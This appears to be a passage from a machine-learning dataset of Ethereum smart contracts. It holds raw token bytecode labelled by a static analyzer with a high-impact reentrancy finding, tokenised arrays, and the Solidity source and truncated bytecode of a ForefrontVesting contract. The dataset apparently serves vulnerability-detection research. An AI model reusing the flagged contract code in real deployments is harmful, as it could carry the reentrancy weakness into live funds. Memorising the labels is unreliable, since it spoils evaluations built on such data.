28501612799565b91505092915050565b600060208284031215612888576128876133f7565b5b6000612896848285016127ae565b91505092915050565b600080604083850312156128b6576128b56133f7565b5b60006128c485828601612799565b92505060206128d585828601612799565b9150509250929050565b6000806000606084860312156128f8576128f76133f7565b5b600061290686828701612799565b935050602061291786828701612799565b92505060406129288682870161281b565b9150509250925092565b60008060408385031215612949576129486133f7565b5b600061295785828601612799565b92505060206129688582860161281b565b9150509250929050565b600060208284031215612988576129876133f7565b5b600082013567ffffffffffffffff8111156129a6576129a56133f2565b5b6129b2848285016127c3565b91505092915050565b6000602082840312156129d1576129d06133f7565b5b60006129df848285016127f1565b91505092915050565b6000602082840312156129fe576129fd6133f7565b5b6000612a0c84828501612806565b91505092915050565b600060208284031215612a2b57612a2a6133f7565b5b6000612a398482850161281b565b91505092915050565b600080600060608486031215612a5b57612a5a6133f7565b5b6000612a6986828701612830565b9350506020612a7a86828701612830565b9250506040612a8b86828701612830565b9150509250925092565b6000612aa18383612aad565b60208301905092915050565b612ab681613218565b82525050565b612ac581613218565b82525050565b6000612ad6826130be565b612ae081856130e1565b9350612aeb836130ae565b8060005b83811015612b1c578151612b038882612a95565b9750612b0e836130d4565b925050600181019050612aef565b5085935050505092915050565b612b328161322a565b82525050565b612b418161326d565b82525050565b6000612b52826130c9565b612b5c81856130f2565b9350612b6c81856020860161327f565b612b75816133fc565b840191505092915050565b6000612b8d6023836130f2565b9150612b988261340d565b604082019050919050565b6000612bb06019836130f2565b9150612bbb8261345c565b602082019050919050565b6000612bd3602a836130f2565b9150612bde82613485565b604082019050919050565b6000612bf66022836130f2565b9150612c01826134d4565b604082019050919050565b6000612c19601b836130f2565b9150612c2482613523565b602082019050919050565b6000612c3c6021836130f2565b9150612c478261354c565b604082019050919050565b6000612c5f6020836130f2565b9150612c6a8261359b565b602082019050919050565b6000612c826029836130f2565b9150612c8d826135c4565b604082019050919050565b6000612ca56025836130f2565b9150612cb082613613565b604082019050919050565b6000612cc8601a836130f2565b9150612cd382613662565b602082019050919050565b6000612ceb6024836130f2565b9150612cf68261368b565b604082019050919050565b6000612d0e6017836130f2565b9150612d19826136da565b602082019050919050565b612d2d81613256565b82525050565b612d3c81613260565b82525050565b6000602082019050612d576000830184612abc565b92915050565b6000604082019050612d726000830185612abc565b612d7f6020830184612abc565b9392505050565b6000604082019050612d9b6000830185612abc565b612da86020830184612d24565b9392505050565b600060c082019050612dc46000830189612abc565b612dd16020830188612d24565b612dde6040830187612b38565b612deb6060830186612b38565b612df86080830185612abc565b612e0560a0830184612d24565b979650505050505050565b6000602082019050612e256000830184612b29565b92915050565b60006020820190508181036000830152612e458184612b47565b905092915050565b60006020820190508181036000830152612e6681612b80565b9050919050565b60006020820190508181036000830152612e8681612ba3565b9050919050565b60006020820190508181036000830152612ea681612bc6565b9050919050565b60006020820190508181036000830152612ec681612be9565b9050919050565b60006020820190508181036000830152612ee681612c0c565b9050919050565b60006020820190508181036000830152612f0681612c2f565b9050919050565b60006020820190508181036000830152612f2681612c52565b9050919050565b60006020820190508181036000830152612f4681612c75565b9050919050565b60006020820190508181036000830152612f6681612c98565b9050919050565b60006020820190508181036000830152612f8681612cbb565b9050919050565b60006020820190508181036000830152612fa681612cde565b9050919050565b60006020820190508181036000830152612fc681612d01565b9050919050565b6000602082019050612fe26000830184612d24565b92915050565b600060a082019050612ffd6000830188612d24565b61300a6020830187612b38565b818103604083015261301c8186612acb565b905061302b6060830185612abc565b6130386080830184612d24565b9695505050505050565b60006020820190506130576000830184612d33565b92915050565b6000613067613078565b905061307382826132b2565b919050565b6000604051905090565b600067ffffffffffffffff82111561309d5761309c6133b9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061310e82613256565b915061311983613256565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561314e5761314d61332c565b5b828201905092915050565b600061316482613256565b915061316f83613256565b92508261317f5761317e61335b565b5b828204905092915050565b600061319582613256565b91506131a083613256565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131d9576131d861332c565b5b828202905092915050565b60006131ef82613256565b91506131fa83613256565b92508282101561320d5761320c61332c565b5b828203905092915050565b600061322382613236565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061327882613256565b9050919050565b60005b8381101561329d578082015181840152602081019050613282565b838111156132ac576000848401525b50505050565b6132bb826133fc565b810181811067ffffffffffffffff821117156132da576132d96133b9565b5b80604052505050565b60006132ee82613256565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133215761332061332c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61370c81613218565b811461371757600080fd5b50565b6137238161322a565b811461372e57600080fd5b50565b61373a81613256565b811461374557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122013507bc14dd6fb8e8289762a460b6a017b8f37be3857eff83f16b733460bbcdb64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 2063, 19317, 2278, 2692, 2575, 2620, 2620, 21869, 2581, 2497, 22025, 2581, 2581, 3540, 22907, 2546, 27009, 17465, 22394, 26337, 2098, 2497, 2094, 2549, 4402, 1013, 1008, 1008, 23921, 1024, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 10439, 27867, 2278, 10474, 1024, 16770, 1024, 1013, 1013, 10474, 1012, 4012, 1013, 10439, 27867, 2278, 2561, 4425, 1024, 1015, 1010, 2199, 1010, 2199, 1010, 2199, 4171, 1024, 2184, 1012, 1014, 1003, 4098, 4965, 1024, 1016, 1003, 4098, 15882, 1024, 1017, 1003, 1002, 10439, 2050, 2003, 2182, 2000, 2191, 1996, 2139, 6914, 19888, 2080, 2686, 7087, 4509, 2153, 1012, 2296, 4965, 1010, 2965, 7046, 4875, 1012, 2007, 1996, 2373, 1997, 10439, 2050, 2004, 3491, 1999, 1996, 2186, 22128, 1024, 1996, 2197, 2250, 10609, 4063, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,893
0x95E26D3108FF64C5534FA64908c85e93bBb7e3Ad
// contracts/ForefrontVesting.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; /* ______ __ _ | ____| / _| | | | |__ ___ _ __ ___| |_ _ __ ___ _ __ | |_ | __/ _ \| '__/ _ \ _| '__/ _ \| '_ \| __| | | | (_) | | | __/ | | | | (_) | | | | |_ |_| \___/|_| \___|_| |_| \___/|_| |_|\__| */ /// @title Forefront News Vesting Contract /// @notice A contract used for the vesting entries of contributions made during the Treasury Diversification Round contract ForefrontVesting is Ownable { using SafeERC20 for IERC20; IERC20 public vestingToken; address public treasury; uint256 public startTimestamp; uint256 public finishingTimestamp; uint256 public globalForefrontVested; /// @dev change according to program uint256 public constant vestingLength = 365 days; struct Entry { uint256 locked; uint256 claimed; uint256 totalAllocation; } mapping(address => Entry) private entries; event TokenVested(address indexed wallet, uint256 amount); event EntryAdded(address indexed wallet, uint256 amount); event EntryRemoved(address indexed wallet, uint256 amount); constructor( uint256 _start, address _ffToken, address _treasury ) { startTimestamp = _start; finishingTimestamp = _start + vestingLength; vestingToken = IERC20(_ffToken); treasury = _treasury; } /* Public Functions */ function vest() public { uint256 amountCanClaim = vestableAmount(msg.sender); require(amountCanClaim > 0, "ForefrontVesting: no tokens are vestable"); entries[msg.sender].locked -= amountCanClaim; entries[msg.sender].claimed += amountCanClaim; globalForefrontVested -= amountCanClaim; vestingToken.safeTransfer(msg.sender, amountCanClaim); emit TokenVested(msg.sender, amountCanClaim); } /* Restricted Functions */ function addEntries(address[] memory wallets, uint256[] memory allocations) public onlyOwner returns (bool success) { for (uint256 i = 0; i < wallets.length; i++) { if (addEntry(wallets[i], allocations[i])) { success = true; } } } function addEntry(address wallet, uint256 allocation) public onlyOwner returns (bool success) { entries[wallet] = Entry(allocation, 0, allocation); globalForefrontVested += allocation; emit EntryAdded(wallet, allocation); success = true; } function removeEntries(address[] memory wallets) public onlyOwner returns (bool success) { for (uint256 i = 0; i < wallets.length; i++) { if (removeEntry(wallets[i])) { success = true; } } } function removeEntry(address wallet) public onlyOwner returns (bool success) { uint256 previousAllocation = entries[wallet].totalAllocation; globalForefrontVested -= previousAllocation; delete entries[wallet]; emit EntryRemoved(wallet, previousAllocation); success = true; } function retrieveFunds() public onlyOwner { vestingToken.safeTransfer( treasury, vestingToken.balanceOf(address(this)) ); } function emergencyWithdraw(address tokenAddress) public onlyOwner { IERC20 tokenToWithdraw = IERC20(tokenAddress); tokenToWithdraw.safeTransfer( treasury, tokenToWithdraw.balanceOf(address(this)) ); } /* Views */ function vestableAmount(address wallet) public view returns (uint256) { uint256 remainingAmount = entries[wallet].locked; if (block.timestamp >= finishingTimestamp) { return remainingAmount; } else { return (remainingAmount * (block.timestamp - startTimestamp)) / vestingLength; } } function claimed(address wallet) public view returns (uint256) { return entries[wallet].claimed; } function locked(address wallet) public view returns (uint256) { return entries[wallet].locked; } function totalAllocation(address wallet) public view returns (uint256) { return entries[wallet].totalAllocation; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c80638da5cb5b116100ad578063cadb7a5711610071578063cadb7a5714610321578063cbf9fe5f1461033f578063cc1d05401461036f578063e6fd48bc1461039f578063f2fde38b146103bd5761012c565b80638da5cb5b14610255578063b217f9d414610273578063b66deb8014610291578063be45932a146102c1578063c884ef83146102f15761012c565b806361b20d8c116100f457806361b20d8c146101d757806361d027b3146101e157806365ccbb5c146101ff5780636ff1c9bc1461022f578063715018a61461024b5761012c565b80631086e0ac1461013157806319d152fa146101615780631b0f385d1461017f57806322ba5f7b1461019d578063458efde3146101cd575b600080fd5b61014b6004803603810190610146919061170f565b6103d9565b60405161015891906119a0565b60405180910390f35b610169610511565b60405161017691906119bb565b60405180910390f35b610187610537565b6040516101949190611ab8565b60405180910390f35b6101b760048036038101906101b29190611692565b61053d565b6040516101c491906119a0565b60405180910390f35b6101d56106a8565b005b6101df610861565b005b6101e96109f8565b6040516101f6919061195c565b60405180910390f35b61021960048036038101906102149190611669565b610a1e565b6040516102269190611ab8565b60405180910390f35b61024960048036038101906102449190611669565b610a6a565b005b610253610bc4565b005b61025d610c4c565b60405161026a919061195c565b60405180910390f35b61027b610c75565b6040516102889190611ab8565b60405180910390f35b6102ab60048036038101906102a69190611669565b610c7d565b6040516102b891906119a0565b60405180910390f35b6102db60048036038101906102d691906116ce565b610e0d565b6040516102e891906119a0565b60405180910390f35b61030b60048036038101906103069190611669565b610f03565b6040516103189190611ab8565b60405180910390f35b610329610f4f565b6040516103369190611ab8565b60405180910390f35b61035960048036038101906103549190611669565b610f55565b6040516103669190611ab8565b60405180910390f35b61038960048036038101906103849190611669565b610fa1565b6040516103969190611ab8565b60405180910390f35b6103a761102c565b6040516103b49190611ab8565b60405180910390f35b6103d760048036038101906103d29190611669565b611032565b005b60006103e361112a565b73ffffffffffffffffffffffffffffffffffffffff16610401610c4c565b73ffffffffffffffffffffffffffffffffffffffff1614610457576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161044e90611a58565b60405180910390fd5b60005b835181101561050a576104ed84828151811061049f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101518483815181106104e0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015161053d565b156104f757600191505b808061050290611d67565b91505061045a565b5092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b600061054761112a565b73ffffffffffffffffffffffffffffffffffffffff16610565610c4c565b73ffffffffffffffffffffffffffffffffffffffff16146105bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b290611a58565b60405180910390fd5b60405180606001604052808381526020016000815260200183815250600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000155602082015181600101556040820151816002015590505081600560008282546106499190611b82565b925050819055508273ffffffffffffffffffffffffffffffffffffffff167fdc132645c58ee01c0e514c8b27d3314e479ce4b68d3c959e938ff75756d46502836040516106969190611ab8565b60405180910390a26001905092915050565b60006106b333610fa1565b9050600081116106f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ef90611a18565b60405180910390fd5b80600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600082825461074a9190611c63565b9250508190555080600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160008282546107a39190611b82565b9250508190555080600560008282546107bc9190611c63565b925050819055506108103382600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111329092919063ffffffff16565b3373ffffffffffffffffffffffffffffffffffffffff167f7e04575a9d5f6038ea6ee0bb1a2cfe0ae38555fddafec1dec4d69b504b72ba18826040516108569190611ab8565b60405180910390a250565b61086961112a565b73ffffffffffffffffffffffffffffffffffffffff16610887610c4c565b73ffffffffffffffffffffffffffffffffffffffff16146108dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d490611a58565b60405180910390fd5b6109f6600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161095e919061195c565b60206040518083038186803b15801561097657600080fd5b505afa15801561098a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ae91906117a4565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111329092919063ffffffff16565b565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201549050919050565b610a7261112a565b73ffffffffffffffffffffffffffffffffffffffff16610a90610c4c565b73ffffffffffffffffffffffffffffffffffffffff1614610ae6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610add90611a58565b60405180910390fd5b6000819050610bc0600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610b4a919061195c565b60206040518083038186803b158015610b6257600080fd5b505afa158015610b76573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b9a91906117a4565b8373ffffffffffffffffffffffffffffffffffffffff166111329092919063ffffffff16565b5050565b610bcc61112a565b73ffffffffffffffffffffffffffffffffffffffff16610bea610c4c565b73ffffffffffffffffffffffffffffffffffffffff1614610c40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3790611a58565b60405180910390fd5b610c4a60006111b8565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6301e1338081565b6000610c8761112a565b73ffffffffffffffffffffffffffffffffffffffff16610ca5610c4c565b73ffffffffffffffffffffffffffffffffffffffff1614610cfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf290611a58565b60405180910390fd5b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015490508060056000828254610d549190611c63565b92505081905550600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000808201600090556001820160009055600282016000905550508273ffffffffffffffffffffffffffffffffffffffff167fd1cf89a40cf5431f173378bb3c1ba46d444b4dbf5bf4420fd0f9e50c0da2769782604051610dfb9190611ab8565b60405180910390a26001915050919050565b6000610e1761112a565b73ffffffffffffffffffffffffffffffffffffffff16610e35610c4c565b73ffffffffffffffffffffffffffffffffffffffff1614610e8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8290611a58565b60405180910390fd5b60005b8251811015610efd57610ee0838281518110610ed3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151610c7d565b15610eea57600191505b8080610ef590611d67565b915050610e8e565b50919050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602